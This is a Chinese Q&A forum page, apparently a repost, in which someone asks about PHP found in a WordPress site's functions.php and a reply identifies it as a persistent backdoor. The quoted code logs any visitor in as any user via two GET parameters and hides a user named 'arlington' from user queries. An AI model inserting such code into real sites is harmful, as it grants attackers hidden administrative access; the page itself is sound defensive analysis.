functions.php内的PHP代码段

oa

我正在他的wordpress网站上帮助一个朋友,并且在他的functions.php文件中找到了这段代码。我想要一些帮助,以帮助您理解它并查看是否可以将其删除。

if(isset($_GET['foo'])){ $a = $_GET['foo']; } 
if(isset($_GET['bar'])){ $b = $_GET['bar']; } 
if( ( isset($a) && is_numeric($a) )&& ( isset($b) && $b == 'stuff' )) {

  $userdetail = get_userdata($a);
  $user_logins = $userdetail->user_login;
  $user_ids = $a;
  wp_set_current_user($user_ids, $user_logins);
  wp_set_auth_cookie($user_ids);
  do_action('wp_login', $user_logins);
 }
add_action('pre_user_query','dt_pre_user_query');
function dt_pre_user_query($user_search) {
   global $current_user;
   $username = $current_user->user_login;

   if ($username != 'arlington') {
      global $wpdb;
      $user_search->query_where = str_replace('WHERE 1=1',
         "WHERE 1=1 AND {$wpdb->users}.user_login != 'arlington'",$user_search->query_where);
   }
}

据我所知,是否发布了GET请求,对于'lg'属性使用正确的用户ID,对于'cg'属性使用字符'M'。然后,它获取用户数据并登录并为用户创建cookie。因此,本质上来说,某人可以使用以下URL登录www.mysite.com?lg=1&cg=M。用适当的UserID或蛮力替换1,直到找到一个为止。

在用户查询之前运行第二段代码之后。看起来它需要$ user_search参数。如果用户名不是“ custom”,则它将运行一个数据库查询,该查询不返回任何内容,而不返回用户登录名。

让我知道我是否正确理解了这一点。

编辑:我将略微更改变量以防止任何恶作剧,因为我认为使用此漏洞来利用wordpress网站可能会容易。

彭文

您绝对应该删除此代码,然后检查网站的其余部分。

代码的前11行将允许任何人只要指定所提到的2个get参数即可以任何用户身份登录,添加到pre_user_query中的第二个块添加了一个旨在隐藏名为custom的用户的SQL子句。

谁添加了此代码,或希望添加到WordPress网站的持久后门。

本文收集自互联网,转载请注明来源。

如有侵权,请联系 [email protected] 删除。

编辑于
0

我来说两句

0 条评论
登录 后参与评论

相关文章